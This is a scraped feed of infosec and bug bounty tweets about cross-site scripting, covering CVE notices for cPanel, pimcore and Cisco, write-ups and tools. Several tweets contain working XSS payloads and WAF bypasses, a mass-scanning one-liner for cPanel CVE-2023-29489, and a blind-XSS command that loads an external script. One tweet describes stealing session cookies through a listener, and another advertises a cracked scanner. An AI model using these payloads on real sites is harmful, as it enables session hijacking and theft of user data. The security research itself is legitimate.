𝘽𝙪𝙜 𝙏𝙮𝙥𝙚 : Reflected XSS 𝙋𝙡𝙚𝙖𝙨𝙚 𝙨𝙪𝙗𝙨𝙘𝙧𝙞𝙗𝙚 𝙩𝙤 𝙤𝙪𝙧 𝙔𝙤𝙪𝙏𝙪𝙗𝙚 𝙘𝙝𝙖𝙣𝙣𝙚𝙡🙏 𝘾𝙤𝙪𝙧𝙨𝙚 𝙇𝙞𝙣𝙠: https://t.co/xXKr0Ma4jZ #bugbountytips #YouTube #Course #youtubechannel #SubscribeNow #PenetrationTesting #BugBounty #OWASP #securitybreach #bugs

profile

Gray Hats

@the_yellow_falla year ago

XSS Exploitation Tool: the exploitation of Cross-Site Scripting vulnerabilities https://t.co/VjUSrw4QX0 #opensource #infosec #security #pentesting

profile

XSS Payloads

@XssPayloadsa year ago

Finding XSS in a million websites, good finding by @infosec_au https://t.co/uVQR9hgRn2

profile

Bug Hunty

@bughuntya year ago

Easy Automation XSS Tip cat subdomains.txt | waybackurls >> wayback.txt cat subdomains.txt | hakrawler -depth 3 -plain >> spider.txt cat spider.txt wayback.txt | kxss #bugbounty #bugbountytips #cybersecurity #pentesting #hacking

profile

Kenan Genc

@kenanngnca year ago

#bugbountytips #bugbountytip #bugbounty #xss

profile

Deepak 🇮🇳 -- bug_vs_me

@bug_vs_mea year ago

#bugbountytip #BugBounty #0day #xss

profile

Keroles Magdy

@Keroles__Magdya year ago

💖💖 الحمد لله Thanks God 💖💖 It found a Critical Bug that leaked names, addresses, and employee data 😜😜😎😎💖💖 #bugbounty #bughunting #bugcrowd #security #vulnerabilities #xss https://t.co/R51SgP4mri

profile

VIEH Group

@viehgroupa year ago

🔥Bug:- Stored XSS tip :- always check all the fields and insert your payload #hacking #alwayslearning #hackers #bugbounty #bugbountytips #staysecure #happy credit:- Raviraj Jagtap https://t.co/txj9bdeclu

profile

VulnVision

@VulnVisiona year ago

we are happy to share a 0day we have found on wordpress login page allow un-auth cross site scripting (xss) #bugbountytip #BugBounty #ItTakesACrowd https://t.co/AznA0pG3IB

profile

Programmatic.Solutions

@Programmatorisa year ago

XSS in custom, user-supplied CSS - Visit https://t.co/WO0nrikfT0 for the solution. #web_application #xss #css #infosec #coder

profile

Open Source CVEs

@OpenSourceHacksa year ago

(CVE-2023-2343): Cross-site Scripting (XSS) - DOM in pimcore/pimcore. https://t.co/JI3YeQ24dN Disclosed by https://t.co/hT0t5Xj4rs, fixed by pimcore maintainers... #opensource #CVE #bugbounty #security #vulnerability

profile

Open Source CVEs

@OpenSourceHacksa year ago

(CVE-2023-2342): Cross-site Scripting (XSS) - Reflected in pimcore/pimcore. https://t.co/QUjGit6PON Disclosed by https://t.co/hT0t5Xj4rs, fixed by pimcore maintainers... #opensource #CVE #bugbounty #security #vulnerability

profile

Open Source CVEs

@OpenSourceHacksa year ago

(CVE-2023-2341): Cross-site Scripting (XSS) - Generic in pimcore/pimcore. https://t.co/3AQiMPbwyG Disclosed by https://t.co/UfN0Roo7qs, fixed by pimcore maintainers... #opensource #CVE #bugbounty #security #vulnerability

profile

Open Source CVEs

@OpenSourceHacksa year ago

(CVE-2023-2340): Cross-site Scripting (XSS) - Stored in pimcore/pimcore. https://t.co/QY2fuNfvD1 Disclosed by https://t.co/6dCOfMLYmV, fixed by pimcore maintainers... #opensource #CVE #bugbounty #security #vulnerability

profile

Open Source CVEs

@OpenSourceHacksa year ago

(CVE-2023-2339): Cross-site Scripting (XSS) - Reflected in pimcore/pimcore. https://t.co/0K5Jc80IdG Disclosed by https://t.co/6dCOfMLYmV, fixed by pimcore maintainers... #opensource #CVE #bugbounty #security #vulnerability

profile

Open Source CVEs

@OpenSourceHacksa year ago

(CVE-2023-2328): Cross-site Scripting (XSS) - Generic in pimcore/pimcore. https://t.co/DH2V54zyEz Disclosed by https://t.co/hT0t5Xj4rs, fixed by pimcore maintainers... #opensource #CVE #bugbounty #security #vulnerability

profile

Open Source CVEs

@OpenSourceHacksa year ago

(CVE-2023-2327): Cross-site Scripting (XSS) - Stored in pimcore/pimcore. https://t.co/bclvtmEHor Disclosed by https://t.co/hT0t5Xj4rs, fixed by pimcore maintainers... #opensource #CVE #bugbounty #security #vulnerability

profile

Open Source CVEs

@OpenSourceHacksa year ago

(CVE-2023-2323): Cross-site Scripting (XSS) - Stored in pimcore/pimcore. https://t.co/JWjy6Mq1YK Disclosed by @sampritdas8, fixed by pimcore maintainers... #opensource #CVE #bugbounty #security #vulnerability

profile

Open Source CVEs

@OpenSourceHacksa year ago

(CVE-2023-2322): Cross-site Scripting (XSS) - Stored in pimcore/pimcore. https://t.co/oxKGO12RpK Disclosed by https://t.co/hUcH5mI7Mx, fixed by pimcore maintainers... #opensource #CVE #bugbounty #security #vulnerability

profile

Vasileiadis A. (Cyberkid)

@Anastasis_Kinga year ago

Finding XSS in a million websites (cPanel CVE-2023-29489) https://t.co/7c1UDJTAFX #Pentesting #CVE #CyberSecurity #Infosec https://t.co/owxslV8pke

profile

HackersNews.co.uk

@HackersNews247a year ago

Find Us @HackersNews247 For The Latest News Or Visit Our Website Hackers News! #Hacking #Hacked #HackersNews #hacker #Hackingtime #Anonymous #hacktheplanet #news #newsUpdate #NewsUpdates https://t.co/OVJYObouiO

profile

HackersNews.co.uk

@HackersNews247a year ago

Let Remote Attackers Launch XSS. Hackers News https://t.co/64NSNiO8Vs #Hacking #Hacked #hack #Anonymous #NewsUpdate #HackersNews

profile

CyberIQs

@CyberIQs_a year ago

Our favourite community contributions to the XSS cheat sheet #infosec #infosecurity #cybersecurity #threatintel #threatintelligence #hacking #cybernews #cyberattack #cloudsecurity #malware #ransomware #cyber #threathunting #ZeroTrust #CISA https://t.co/Hu1tkKH4cQ

profile

ahmedzezo

@ahmedze52774770a year ago

Good XSS day 🤤😍 #bugbountytips #hackerone #BugBounty https://t.co/kUCLyO3z5h

profile

Pierluigi Paganini - Security Affairs

@securityaffairsa year ago

#Cisco discloses a bug in the Prime Collaboration Deployment solution https://t.co/R4lheXfwFR #securityaffairs #hacking

profile

Eve🧚‍♀️

@ex16x41a year ago

My first bugbounty submission after a few years of not participating, nice start of the night )) 🐞🔎 Reflected XSS to Open Redirect: http://sub.sub.domain[.]com/publicsearch?source=%3Cscript%3Ealert(document.domain)%3C/script%3E for redir: document.location=“https://evil[.]com https://t.co/6zxHM4ZlBA

profile

Codelivly

@Codelivlya year ago

Cisco Zero-Day Flaw: Let Remote Attackers Launch XSS Attacks Read Here : https://t.co/UE6A5hS84A #cisco #infosec #cybersec https://t.co/5TI61kvjGI

profile

Mahshooq Zubair 

@mq_xz_a year ago

How I was Able To Find Reflected XSS ? by: ozomarzu https://t.co/GlaL5cBQD1 #bugbounty #WriteUps

profile

Programmatic.Solutions

@Programmatorisa year ago

Ensure input escaping in JSP - Visit https://t.co/cEXXft7io3 for the solution. #xss #java #infosec #engineering #code

profile

Programmatic.Solutions

@Programmatorisa year ago

Is it possible to grab all the cookies of different websites by only one XSS attack? - Visit https://t.co/XZyfUrPNgr for the answer. #xss #cookies #infosec #code #softwareengineering

profile

ႢႭႹႠ ႭႵႰႠႻႤ გოჩა ოქრაძე (Gocha Okradze)

@GochaOqradzea year ago

@BurpBounty @infosec_au I agree with @BurpBounty . If your crawler found entry point with vulnerable cpanel after running scan it will find this xss 100%.

profile

Nehemiah Edet

@clexingtonya year ago

Finding XSS in a million websites (cPanel CVE-2023-29489) https://t.co/qw8io00u0M #Pentesting #CVE #CyberSecurity #Infosec https://t.co/1OSfYN5PK5

profile

VIEH Group

@viehgroupa year ago

Anatomy of an XSS Attack #infosec #cybersecurity #cyberdefense #hacking #informationsecurity #hacking #bugbounty #bugbountytips https://t.co/PeUXFsTH0D

profile

def1ant

@0xdef1anta year ago

Nuclei's headless capability is very powerful :) @pdiscoveryio #BugBounty #hackerone #bugcrowd #xss https://t.co/5Vfh9QNiw8

profile

Burp Bounty

@BurpBountya year ago

Hi everyone!! We have not released any special profiles to detect the CVE-2023-29489, because our scanner can potentially detect the XSS in the affected endpoint found by @infosec_au in their research https://t.co/evZyEOq7OU

profile

Kullai🇮🇳

@Kullai12a year ago

P3-Reflected XSS to Open Redirection in @Bugcrowd . Payload : http://sub[.]domain[.]com/scripts/wa-AWD.exe?TICKET=test&c=%3Cscript%3Ealert(document.domain)%3C/script%3E For Open Redirection document[.]location=“https://evil[.]com” #bugbounty #bugcrowd #bounty https://t.co/oGzbdLYVVP

profile

Cyber Wiki

@theCyberWikia year ago

Create Temporary Emails and Phone Numbers - https://t.co/anXUg6D26T #CyberWiki #theCyberWiki #HackHunt #Hack #Hacker #Hacking #EthicalHacking #Network #EthicalHacker #Cybersecure #Cybersecurity #Vulnerable #Software #Pentesting #XSS #VAPT #Audit #Forensics #Coding #BugHunting https://t.co/xh2gR5cPUT

profile

7h3h4ckv157

@7h3h4ckv157a year ago

Finding XSS in a million websites (cPanel CVE-2023-29489) https://t.co/52rhy2ncAG #infosecurity #CyberSec #bug #coding #BugBounty #infosec #bugbountytip #bugbountytips #pwn #ctf #CyberSecurityAwareness #cybersecuritytips #Hacking #XSS #redteam #Pentesting #cybersecurity

profile

Infosec Alevski 💻🕵️‍♂️

@Alevskeya year ago

Cisco discloses a bug in the Prime Collaboration Deployment solution: https://t.co/cMeSav8tbi by Security Affairs #infosec #cybersecurity #technology #news

profile

Pierluigi Paganini - Security Affairs

@securityaffairsa year ago

#Cisco discloses a bug in the Prime Collaboration Deployment solution https://t.co/R4lheXfwFR #securityaffairs #hacking

profile

Pierluigi Paganini - Security Affairs

@securityaffairsa year ago

#Cisco discloses a bug in the Prime Collaboration Deployment solution https://t.co/R4lheXfwFR #securityaffairs #hacking #malware

profile

VIEH Group

@viehgroupa year ago

Cross Site Scripting (XSS) #infosec #infosecurity #cybersec #cybersecurity #ethicalhacking #penetrationtesting #pentesting #kalilinux #hacking #hacker #bugbounty #bugbountytips https://t.co/lnQ9Lmmfdw

profile

Alonso Caballero

@Alonso_ReYDeSa year ago

Disponible el video del Webinar Gratuito: "Cross-Site Scripting (XSS)". #cybersecurity #hacking #readteam #bugbounty #forensics #osint 🤖 https://t.co/QU6ghIwHeR https://t.co/y5eiyp3agf

profile

Grid32 Cybersecurity

@Grid32InfoSeca year ago

Cisco discloses XSS zero-day flaw in server management tool https://t.co/EuCwvtASuG #infosec #cybersecurity

profile

Ptrace Security GmbH

@ptracesecuritya year ago

Finding XSS in a million websites (cPanel CVE-2023-29489) https://t.co/pFdUjmv9B4 #Pentesting #CVE #CyberSecurity #Infosec https://t.co/BYkcMvNS4g

profile

HolyBugx

@HolyBugxa year ago

@BurpBounty "... because our scanner can potentially detect the XSS in the affected endpoint found by @infosec_au" - thats how you should've phrased it.

profile

Het Mehta

@hetmehtaaa year ago

💠 𝗕𝗹𝘂𝗲 𝗧𝗲𝗮𝗺𝗶𝗻𝗴 Bootcamp Series 🔗 Part 1: https://t.co/QUDxkEbrTk 🔗 Part 2: https://t.co/RX4l8R8xb8 🔗 Part 3: https://t.co/pwOthztAlU @hacklido #infosec #blueteam #cyber #tech #blogs

profile

Burp Bounty

@BurpBountya year ago

@infosec_au Hey @infosec_au , my apologies, Burp Bounty Pro XSS profiles detect your issue only if scan the correct path /cpanelwebcall/. Of course, I didn't know about this issue until you posted it. I want to congratulate you on your work, https://t.co/evZyEOq7OU

profile

Burp Bounty

@BurpBountya year ago

@malcolmx0x @infosec_au I agree with you, without @infosec_au research and their post none of us would know about the XSS in Cpanel.

profile

SECBROS

@YouTube_Secbrosa year ago

Anatomy of an XSS Attack #infosec #cybersecurity #cybersecuritytips #pentesting #redteam #informationsecurity #CyberSec #networking #networksecurity #infosecurity #cyberattacks #security #linux #cybersecurityawareness #bugbounty #bugbountytips https://t.co/DBiku2eZIl

profile

Burp Bounty

@BurpBountya year ago

@AkashHamal0x01 @rez0__ @infosec_au Exactly, I didn't know that this specific software had an xss, but because of how the scanner works, if it scans that path, it would identify the xss. It's not my intention to detract from the author or say that I knew about this vulnerability before he did.

profile

Towards Cybersecurity

@TowardsCyberseca year ago

Cisco disclosed a zero-day vulnerability in the company's Prime Collaboration Deployment (PCD) software that can be exploited for cross-site scripting attacks. #cybersecurity #security #infosec #Cisco #Zeroday #bug #infosecurity #Vulnerability #cyberattack #xss #hacking #hack https://t.co/mpBIRDcFRu

profile

root@AkashHamal0x01:~/ # 🇵🇭

@AkashHamal0x01a year ago

@rez0__ @BurpBounty @infosec_au he meant that his scanners also detected xss on /web../ path not that he already knew the issue or identified it

profile

payloadartist

@payloadartista year ago

🪲 Finding XSS In A Million Websites (cPanel CVE-2023-29489) https://t.co/ezIOtmfDUY Awesome research by @infosec_au and @assetnote team #bugbountytips #bugbounty #infosec #cybersecurity https://t.co/Qng7R0Qzj4

profile

Burp Bounty

@BurpBountya year ago

Maybe there was a misunderstanding with my previous tweet, I didn't know there was an XSS bug in cpanel, I read it in the @infosec_au article. Once I read I saw that with the XSS payloads this issue was detected if the path /cpanelwebcall/ was scanned. All credit to @infosec_au

profile

Matin Nooriyan

@MatinNouryana year ago

nuclei template for cpanel xss url: http/cves/2023/CVE-2023-29489.yaml #bugbountytips #cve_2023 #cpanel #xss #hackerone #bugbrowd https://t.co/tqYJtSZF7h

profile

dadomar

@v0000000000la year ago

@infosec_au i hope you understand the purpose of that tool, its like running Burp Intruder on /cpanelwebcall/$[payload here]$ with a list of xss payloads , it can be whatever endpoint, not `cpanelwebcall` and these types of automations are in nuclei a lot... :|

profile

Gbounty

@GBountySecuritya year ago

🔥🚀 "Heads up, everyone! ! We have not released any special profiles to detect the CVE-2023-29489 (#XSS in #cPanel) vulnerability, because we already detected it with our current XSS profiles 💯.🔒🌐 #Cybersecurity #InfoSec" 🚀🔥 https://t.co/D8Q5hj094Z https://t.co/hYNwESPnet https://t.co/Qv8VzSL9vX

profile

nazu:)🩸🌳💚

@mrnazu_a year ago

🔥 #cPanel #CVE-2023-29489 🔥 Over 1 million websites were exposed to a reflected #XSS vulnerability recently discovered in #cpanel, a widely used web hosting software! #Web #BugBounty #CyberSecurity https://t.co/JrdzBiponD

profile

404xNotFound

@htp_onlinea year ago

Reflected XSS #Hacking https://t.co/CbaWAIhgOL

profile

404xNotFound

@htp_onlinea year ago

Testing site for XSS.. Then sleep. Night all. #GoodNightTwitterWorld #Hacking

profile

Cybertix

@thecybertixa year ago

cPanel CVE-2023-29489 XSS One-Liner subfinder -d https://t.co/Yhf9Pkx6cS -silent -all | httpx -silent -ports http:80,https:443,2082,2083 -path '/cpanelwebcall/<img%20src=x%20onerror="prompt(document.domain)">aaaaaaaaaaaaaaa' -mc 400 #bugbountytips #cybersecuritytips #bug #hacks https://t.co/95OiBf33rM

profile

404xNotFound

@htp_onlinea year ago

Today's accomplishments: Completed Path Traversal for "fun" Completed a path on TryHackMe Programmed a clickjacking POC Learned to use Burp properly, practiced manipulating headers. Finished learning OWASP ZAP for manual testing. Coded my XSS Session Hijack exploit #Hacking

profile

dexsec

@DexSec0xa year ago

Try to get some bounty! CVE: CVE-2023-29489 Vulnerability : 0 Day cPanel XSS Payload: cpanelwebcall/<img%20src=x%20onerror="prompt(1515)">aaaaaaaa #0day #xss #vulnerability #cpanel #BugBounty https://t.co/2BFEHb7IyO

profile

Programmatic.Solutions

@Programmatorisa year ago

Why doesn't this XSS attack work? - Visit https://t.co/ukZU77nQMz for the answer. #xss #dom #infosec #softwareengineering #software

profile

0xJay

@0SPwna year ago

"><a href=jav
ascript:top[8680439..toString(30)](document.domain)>Click</a> - LiteSpeed (ModSecurity) WAF Bypass. #waf #bugbountytips #BugBounty #hacking #xss

profile

404xNotFound

@htp_onlinea year ago

Working on a way to exploit XSS & Hijack a session for future testing. I would technically just add my IP address there and create a listener, then if the XSS on the test site executes and steals a cookie I can jack their sesh in theory.. #Cybersecurity #BugHunting #Infosec https://t.co/3k0C39YHCC

profile

Kunj Patel

@Legacy_Defendera year ago

#bugbounty #bugbountytips #xss #securitybreach Credit: Cyber Security Researcher and Bug Hunter. Kunj Patel aka (Legacy_Defender) https://t.co/fWuwaTRhzi……… https://t.co/YSbrd6iLQY https://t.co/JnTzxYNwmv

profile

Kinnaird McQuade 💻☁️💥

@kmcquade3a year ago

It’s not every day you get to meet your heroes in #infosec I got to meet @jeremiahg at @RSAConference! He’s one of the OGs in AppSec and the founder at White Hat. Back in college, I read his book on XSS and all his blogs. And we finally got to meet! See you back in Maui 🤙🏼 https://t.co/rahu3leND8

profile

7h3h4ckv157

@7h3h4ckv157a year ago

Mastering Payloads for Web Application Security: XSS, LFI, RCE, and SQL Injection 📍 https://t.co/xK86nN5a0e #infosecurity #CyberSec #bug #coding #BugBounty #infosec #bugbountytip #bugbountytips #pwn #ctf #CyberSecurityAwareness #cybersecuritytips #Hacking #redteam #Pentesting… https://t.co/JiLsgFSeZZ

profile

CyberIQs

@CyberIQs_a year ago

Cisco pinpoints an XSS vulnerability affecting Prime Collaboration #infosec #infosecurity #cybersecurity #threatintel #threatintelligence #hacking #cybernews #cyberattack #cloudsecurity #malware #ransomware #cyber #threathunting #ZeroTrust #CISA https://t.co/Hu1tkKH4cQ

profile

pwnmachine

@princechaddhaa year ago

[CVE-2023-20864] cPanel - Cross-Site Scripting Nuclei Template: https://t.co/RpJcSKt28A Reference: https://t.co/gwy9udIiZn #CVE #cpanel #NucleiTemplates #bugbounty @pdnuclei https://t.co/SrRCFLhgay

profile

Siva krishna

@le4rnera year ago

@infosec_au @assetnote I am surprised by the POC it is and a basic XSS probe could have picked this up as reflection, but never found it, I agree now that cpanel might be vulnerable to many more bugs https://t.co/V0QAJxQGL4<img%20src=x%20onerror="prompt(1)">aaaaaaaaaaaa

profile

CyberIQs

@CyberIQs_a year ago

Cisco Zero-Day Flaw: Let Remote Attackers Launch XSS Attacks #infosec #infosecurity #cybersecurity #threatintel #threatintelligence #hacking #cybernews #cyberattack #cloudsecurity #malware #ransomware #cyber #threathunting #ZeroTrust #CISA https://t.co/Hu1tkKH4cQ

profile

Bar Hofesh @[email protected]

@bararchya year ago

Nice #bugbountytips which you can also see on https://t.co/BcNXq5gEF2 (@brokencrystalss) You can get an XSS even if the response is XML by using the relevant payload: <x:script xmlns:x="https://t.co/TglNoErgHR">alert(1)</x:script> Go try it out: https://t.co/WTAsukAAy8

profile

ReconOne

@ReconOne_bka year ago

[Oh noo] Reflected XSS in cPanel - tracked as CVE-2023-29489 🔥 If you have cPanel servers in your asset list, check them out 👇 #recon #AttackSurface #bugbounty #recontools #recontips #xss #cPanel https://t.co/dJnTqn8zZ3

profile

Programmatic.Solutions

@Programmatorisa year ago

XSS: Parsing Javascript - Visit https://t.co/Ph2mGJcnI4 for the solution. #javascript #xss #infosec #softwareengineering #100daysofcode

profile

Simba Tech Tv

@simrotion13a year ago

CPanel Reflected XSS payload for #CVE-2023-29489 POC https://t.co/QovlMufd9Y #bugbountytips #xss

profile

zaen.hxr

@zaenhaxora year ago

Xss #hacking https://t.co/hhRADmIHOK

profile

Black Hat Ethical Hacking

@secur1ty1samytha year ago

Cisco Discloses Zero-Day #XSS Vulnerability in Prime Collaboration Deployment Software #Cisco Zero-Day #Vulnerability in Prime Collaboration Deployment Software Discovered, Could Lead to XSS Attacks Post: https://t.co/elBPtQsmBf #zeroday #exploit #hacking #infosec https://t.co/RyA1svSmrO

profile

Simon Zerafa 🖖 (@[email protected])

@SimonZerafaa year ago

@SGgrc Oh cool cPanel; not like that's everywhere 🫤🤦‍♂️ https://t.co/IAN96d4mD3 https://t.co/OCbK8D6Gi4

profile

Gray Hats

@the_yellow_falla year ago

CVE-2023-29489: XSS Vulnerability in cPanel Threatening 1.4 Million Websites https://t.co/FU6E1GzeCs #opensource #infosec #security #pentesting

profile

SAFE 😵‍💫

@0x21SAFEa year ago

CPanel 0day Reflected XSS payload for CVE-2023-29489 htt.p://example.com/cpanelwebcall/%3Cimg%20src%3Dx%20onerror%3D%22prompt%281%29%22%3Eaaaaaaaaaaaa #0day #xss #bugbountytips

profile

Allaboutclait

@allaboutclaita year ago

Cisco discloses XSS zero-day flaw in server management tool https://t.co/NcNR6oUiLt #infosec #Cisco

profile

Xc0re Security

@Xc0resecuritya year ago

Cisco discloses XSS zero-day flaw in server management tool https://t.co/Uv1sO2Vzcb #cybersecuritynews #netsec #infosec https://t.co/IdEjlmKuT5

profile

Cyber Secure New York

@cybersecurenya year ago

BleepinComputer: Cisco discloses XSS zero-day flaw in server management tool - @serghei https://t.co/DONHT2cLKp https://t.co/19pHCTsz2Q #cybersecurity #hacking #computersecurity #nyc #newyork

profile

TheWhiteCircle

@twc1rclea year ago

https://t.co/jFvl4TS5FR #infosec #tools #vapt #hacking #cyberattack #informationsecurity #cybersecurity #cve #opensource #vulnerability #exploit #ethicalhacking #twc #programming #thewhitecircle

profile

Cyberfeed.io

@cyberfeedioa year ago

Cisco discloses XSS zero-day flaw in server management tool https://t.co/9qfN2oFnQN #cybersec #security #infosec #cybersecurity

profile

Thee Eclipse

@Thee_Eclipsea year ago

Yay, I was awarded a $$$ bounty on @Hacker0x01! 🎩 Issue: Stored XSS via SVG https://t.co/YkRMxxn9K9 #TogetherWeHitHarder #bugbounty #hacking

profile

Pentester Academy

@SecurityTubea year ago

Ever wanted to know how XSS attacks work? Try it hands-on, for free! In this lab exercise, you will pentest a vulnerable web application with the XSSer tool. Sign in at https://t.co/vfBZUZ9khb and get started at https://t.co/9eVbY19yLq #XSS #pentest #infosec https://t.co/t3IjCJbKqC

profile

Programmatic.Solutions

@Programmatorisa year ago

Do WebGoat style XSS attacks still work? - Visit https://t.co/pId6Qv2TS7 for the answer. #web_application #webgoat #infosec #code #software

profile

Md Ismail Šojal

@0x0SojalSeca year ago

Commodity Injection Signatures, Malicious Inputs, XSS, HTTP Header Injection, XXE, RCE, Javascript, XSLT - https://t.co/Be95yi7ftb #bugbountytips #cybersec #infosec

profile

X3NUX

@hidayatcodea year ago

AwesomeXSS This repository is a collection of Awesome XSS resources. Contributions are welcome and should be submitted via an issue. https://t.co/IA0E9zpdcx #infosec #pentesting #bugbounty

profile

Skidrow/ياسر

@firfox20a year ago

XSS Reflected Alert Using my iphone 😂 #BugBounty https://t.co/Zwc3ifMyCO

profile

moSec

@moe1n1a year ago

Wapalayzer: it is angular with version x.y.z Me:👀 ➡️portswigger xss cheat sheet Boom: Waf blocked my payload😁 Me: there's other subdomains with same stack🤓 Mission success 💯 #bugbountytips https://t.co/vnqxp2xnp0

profile

Dr.FarFar

@3XS0a year ago

#FREE 2ಠ23 ♥ Invicti Professional Edition 23.4.0.40376 Full Activated – Discount 100% https://t.co/Joixus9aMb Link: https://t.co/gBrFhDHKls #HackerOne #infosec #Synack #bugcrowd #bugbountytips #bugbountytip #CyberSecurity #100DaysOfCode #Malware #CodeNewbie #XSS #BugHunter https://t.co/KcqVOX0lGA

profile

Tarek

@DeanOfCybera year ago

Here are my top 10 ways to make $10k #BugBounty in 10mins 🧵👇 Just kidding. If you're into bb read this. As a self identifying old-timer, I can confirm that after a number of years, finding your 100th XSS loses its glamor https://t.co/lu2xjvbjIm

profile

حسین گلزاری

@Hossein_golzaria year ago

بچه ها رایتاپ های ارمان رو حتما بخونید دیشب با اخرین رایتاپش یه XSS تو یکی از پروگرام های هکروان زدم @M7arm4n https://t.co/CgGOvpCrNV

profile

Ninad Mishra

@NinadMishra5a year ago

JSP ContextPath Link Manipulation http://target//EvilDomain/xss.js#/..;/..;/contextPathExample/test.jsp #BugBounty #bugbountytips

profile

Rounak Premchandani

@RDX131106a year ago

@TCMSecurity Is it necessary to first learn or the vulnerabilities to get into web app hacking and bug bounty ? Or is it possible to just start with one, for example XSS, and then try it on VDPs then get into perfecting it and then after all move to another ? Like SQL injection?

profile

VIEH Group

@viehgroupa year ago

Stored DOM XSS https://t.co/q3XVtc8c3l #bug #bugs #bugbounty #bugbountytip #bugbountytips #hacking #hacker #ethicalhacking #ethicalhacker #ethicalhackers #cybersecurity

profile

Cybernoz

@Cybernozcoma year ago

iOS Bug Hunting – Web View XSS – https://t.co/TL7LrxK5ZM https://t.co/s3oKPMsX72 #cybersecurity #cybersecuritynews #cybernews #infosec #informationsecurity

profile

Spear Bug Bounty

@spearbugbountya year ago

$600 Cross Site Scripting (XSS) PoC https://t.co/q0YQhvsFUa #hackwithautomation #cybersecurity #crawler #bugbounty #infosec #bugbountytips #hacking #ChatGPT #xss #sqli #sqlinjection #pentesting #CTF #recon #hackerone #bugcrowd #ethicalhacking

profile

Spear Bug Bounty

@spearbugbountya year ago

$150 Cross Site Scripting (XSS) PoC https://t.co/XP7vbbcqvB #hackwithautomation #cybersecurity #crawler #bugbounty #infosec #bugbountytips #hacking #ChatGPT #xss #sqli #sqlinjection #pentesting #CTF #recon #hackerone #bugcrowd #ethicalhacking

profile

Stealthy

@stealthybugsa year ago

Interesting XSS with random tag and zero special characters. <java contentEditable='' autofocus='' onfocus=location=tagName+innerHTML+location.hash>script:/*#*/alert(1) #xss #bugbounty #bugbountytips #hackerone #infosec #xsspayloads #hacking #ethicalhacking #infosec #whitehat

profile

Batuhan Aydın

@Telumaka year ago

You can read my article📝 titled 🧐 "XSS Understanding the Nature" where I talk about the nature of XSS and the ways to research them. Happy reading everyone. 😊 #creativity #technology #python #cybersecurity #security #xss #bugbounty #DEVCommunity https://t.co/SUCpDGCdH6

profile

Greed

@0xGreed_a year ago

Managed to bypass Cloudflare protection to trigger an XSS on a target using such a payload <svg/on/onload=alert(document.domain)> It was inspired by @aufzayed and found here https://t.co/9CYvEP8lnZ #bugbountytips #bugbounty #intigriti

profile

Mahshooq Zubair 

@mq_xz_a year ago

Stored DOM XSS by: 45w1nkv https://t.co/HvpvjJN50R #bugbounty #WriteUps

profile

WAF bypass

@waf_bypassa year ago

hack_git has lots of XSS Vectors/Payloads 🕵️‍♂️🔎 from resources like websites, tweets & books 📚 to bypass WAF & find XSS vulnerabilities 👩‍💻👨‍💻. Check out the list & stay updated for new ones 🗃️🔄 #XSS #Hacking #WAF #Vulnerability #CyberSecurity

profile

Hacking Articles

@hackinarticlesa year ago

Burp Suite for Pentester: XSS Validator https://t.co/wPEbBctC9O #infosec #cybersecurity #cybersecuritytips #pentesting #redteam #informationsecurity #CyberSec #networking #networksecurity #infosecurity #cyberattacks #security #linux #cybersecurityawareness #bugbounty… https://t.co/qTBWJ5KE4d https://t.co/AzgoDMnsge

profile

Programmatic.Solutions

@Programmatorisa year ago

Is this code vulnerable to Reflected XSS? - Visit https://t.co/fGh38pqS7B for the answer. #xss #reflected_xss #infosec #code #softwaredevelopment

profile

HUNTER 🇺🇦

@SaFiSecua year ago

I just published How I Earned $1000 in Just 5 Minutes On Medium & Youtube Check it Out https://t.co/WWrisblNyU https://t.co/6mHl58m56N #xss #googlexss #xssbypass #storedxss #Hacking #CyberAttack #Pentesting #Hacked

profile

pranav

@zerodaywo1fa year ago

Level up your #pentesting & streamline your life, #BugBounty hunters 🎯: 🔸Burp Suite > Proxy > Settings 🔸Match & Replace > Add Match: xss1 Replace: <script>alert(document.cookie)</script> Comment: XSS 1 Type 'xss1' & let #Burp swap it with your JS payload! 🚀 #bugbountytips https://t.co/q4vFU1t62E

profile

Masaud Ahmad

@masaudseca year ago

#BXSS subfinder -d https://t.co/ndhz4PcZUc | gau | grep "&" | bxss -appendMode -payload '"><script src=https://t.co/Hiuf81Ha6G></script>' -parameters #cybersecuritytips #bugbountytips #ethicalhacking

profile

Spear Bug Bounty

@spearbugbountya year ago

XSSpear v1.0 a powerful single target URL rXSS scanner try it now! http://18.209.60.172:8080/ #hackwithautomation #cybersecurity #crawler #bugbounty #infosec #bugbountytips #hacking #ChatGPT #xss #sqli #sqlinjection #pentesting #CTF #recon #hackerone #bugcrowd #ethicalhacking

profile

HUNTER 🇺🇦

@SaFiSecua year ago

https://t.co/LTlnfMkPvl #xss #idor #rce #BugBounty #hacker #Reconquete #payload @SimplyBookMe #bugbountystealer

profile

Kali Nathalie 🏳️‍⚧️

@K4L1_FSa year ago

[Infosec] Finalmente meu deus do ceu, meu primeiro XSS(por sinal, storage) numa aplicação real(non CTF) com uma WAF insuportável. 😭🎉😭🎉😭🎉😭🎉 Bypass da WAF com tag HTML5 https://t.co/NFDhqxWphq

profile

LinuxSecurity

@lnxseca year ago

8 Linux distros have released advisories for high-severity kernel bugs, including an actively exploited use after free vuln🪲‼️ Learn how to secure against these flaws that could lead to crashes, the exposure of sensitive info & more👇 https://t.co/HIQgE2IDQi #linux #infosec

profile

RedPacket Security

@RedPacketSeca year ago

BugCrowd Bug Bounty Disclosure: - Clickjacking with reflected xss and redirected to google - By Orange_hacker - https://t.co/U1evawvwOS #BugCrowd #BugBounty #Vulnerability #OSINT #ThreatIntel #Cyber

profile

Avoid The Hack!

@avoidthehacka year ago

CISA Adds One Known Exploited #Vulnerability to Catalog CVE-2022-27926 - Zimbra Collaboration (ZCS) XSS Resolution is to... update! #exploits #cybersecurity #infosec #security https://t.co/DwqrucRP7A

profile

VIEH Group

@viehgroupa year ago

Blind XSS via SMS Support Chat — $1100 Bug Bounty! https://t.co/boZE958dZx #bug #bugs #bugbounty #bugbountytip #bugbountytips #hacking #hacker #ethicalhacking #ethicalhacker #ethicalhackers #cybersecurity

profile

ASWIN K V

@deep_marketer_a year ago

Can you trigger the xss? #bugbountytips #bugbountytip #BugBounty #infosec #CTF #Vulnerability #Hacking #DOMXSS #cybersecuritytips #xss #DOGE @theXSSrat @XssHunter https://t.co/BOTud10xNU

profile

khadir Ha

@Nihilisme10a year ago

XSS without HTML: Client-Side Template Injection with AngularJS https://t.co/gEsLFRo7Ua #BugBounty #bugbountytips #bugbountytip #CyberSecurity #infosec #Hacked — Ninad Mishra (@NinadMishra5) Apr 3, 2023 XSS without HTML: Client-Side Template Injection with AngularJS …

profile

